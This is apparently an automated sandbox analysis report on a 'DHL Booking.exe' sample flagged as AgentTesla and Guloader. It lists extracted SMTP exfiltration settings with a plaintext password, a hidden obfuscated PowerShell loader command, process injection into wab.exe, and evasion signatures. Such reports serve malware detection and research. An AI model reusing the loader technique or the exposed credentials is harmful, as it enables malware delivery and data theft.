Analysis
- max time kernel
148s - max time network
155s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
18/03/2024, 07:10
General
- Target DHL Booking.exe
- Size 662KB
- Sample240318-hzd9jaba96
- SHA256 e156c4e8e53c6b93166fea54fb521d9eb8bc74143ad52697a28809f5639205cf
Malware Config
Extracted
-
Protocol
smtp
-
Host
smtp.gmail.com
-
Port
587
-
Username
-
Password
dejg czax pfps nsno
Extracted
-
agenttesla
-
Protocol
smtp
-
Host
smtp.gmail.com
-
Port
587
-
Username
-
Password
dejg czax pfps nsno
-
Email to
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 12 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\DHL Booking.exe"C:\Users\Admin\AppData\Local\Temp\DHL Booking.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -windowstyle hidden "$Histolaboranters=Get-Content 'C:\Users\Admin\AppData\Roaming\dyrekllers\Sanguine\Solano\Spatel\Vredes\Tremamdswhisten\Subflavours\Chunkiest.Prf';$Totalsaneringers=$Histolaboranters.SubString(59211,3);.$Totalsaneringers($Histolaboranters)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "set /A 1^^0"3⤵
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_0hpbk55f.npu.ps1
Exogenetic.Ace
Chunkiest.Prf
memory/2772-70-0x0000000022A20000-0x0000000022AB2000-memory.dmp
memory/2772-61-0x0000000001050000-0x0000000001094000-memory.dmp
memory/2772-68-0x00000000022B0000-0x0000000003D5A000-memory.dmp
memory/2772-67-0x00000000228E0000-0x000000002297C000-memory.dmp
memory/2772-66-0x00000000227F0000-0x0000000022840000-memory.dmp
memory/2772-73-0x0000000073FC0000-0x0000000074770000-memory.dmp
memory/2772-63-0x0000000021CD0000-0x0000000021CE0000-memory.dmp
memory/2772-71-0x00000000229A0000-0x00000000229AA000-memory.dmp
memory/2772-62-0x0000000073FC0000-0x0000000074770000-memory.dmp
memory/2772-59-0x0000000001050000-0x00000000022A4000-memory.dmp
memory/2772-55-0x0000000077CA8000-0x0000000077CA9000-memory.dmp
memory/2772-54-0x0000000077C21000-0x0000000077D41000-memory.dmp
memory/2772-52-0x00000000022B0000-0x0000000003D5A000-memory.dmp
memory/2772-74-0x0000000021CD0000-0x0000000021CE0000-memory.dmp
memory/4804-31-0x00000000062B0000-0x00000000062FC000-memory.dmp
memory/4804-34-0x0000000006780000-0x000000000679A000-memory.dmp
memory/4804-40-0x0000000002850000-0x0000000002860000-memory.dmp
memory/4804-36-0x00000000078B0000-0x0000000007E54000-memory.dmp
memory/4804-42-0x00000000077C0000-0x00000000077C4000-memory.dmp
memory/4804-43-0x0000000008B60000-0x000000000A60A000-memory.dmp
memory/4804-44-0x0000000073FC0000-0x0000000074770000-memory.dmp
memory/4804-45-0x0000000008B60000-0x000000000A60A000-memory.dmp
memory/4804-47-0x0000000002850000-0x0000000002860000-memory.dmp
memory/4804-48-0x0000000002850000-0x0000000002860000-memory.dmp
memory/4804-49-0x0000000002850000-0x0000000002860000-memory.dmp
memory/4804-50-0x0000000077C21000-0x0000000077D41000-memory.dmp
memory/4804-51-0x0000000002850000-0x0000000002860000-memory.dmp
memory/4804-35-0x0000000006800000-0x0000000006822000-memory.dmp
memory/4804-53-0x0000000008B60000-0x000000000A60A000-memory.dmp
memory/4804-38-0x00000000084E0000-0x0000000008B5A000-memory.dmp
memory/4804-33-0x0000000007260000-0x00000000072F6000-memory.dmp
memory/4804-32-0x0000000002850000-0x0000000002860000-memory.dmp
memory/4804-60-0x0000000073FC0000-0x0000000074770000-memory.dmp
memory/4804-12-0x00000000028A0000-0x00000000028D6000-memory.dmp
memory/4804-30-0x0000000006260000-0x000000000627E000-memory.dmp
memory/4804-29-0x0000000005C50000-0x0000000005FA4000-memory.dmp
memory/4804-64-0x0000000008B60000-0x000000000A60A000-memory.dmp
memory/4804-19-0x0000000005540000-0x00000000055A6000-memory.dmp
memory/4804-18-0x00000000054D0000-0x0000000005536000-memory.dmp
memory/4804-17-0x0000000005230000-0x0000000005252000-memory.dmp
memory/4804-16-0x0000000005620000-0x0000000005C48000-memory.dmp
memory/4804-15-0x0000000002850000-0x0000000002860000-memory.dmp
memory/4804-14-0x0000000002850000-0x0000000002860000-memory.dmp
memory/4804-13-0x0000000073FC0000-0x0000000074770000-memory.dmp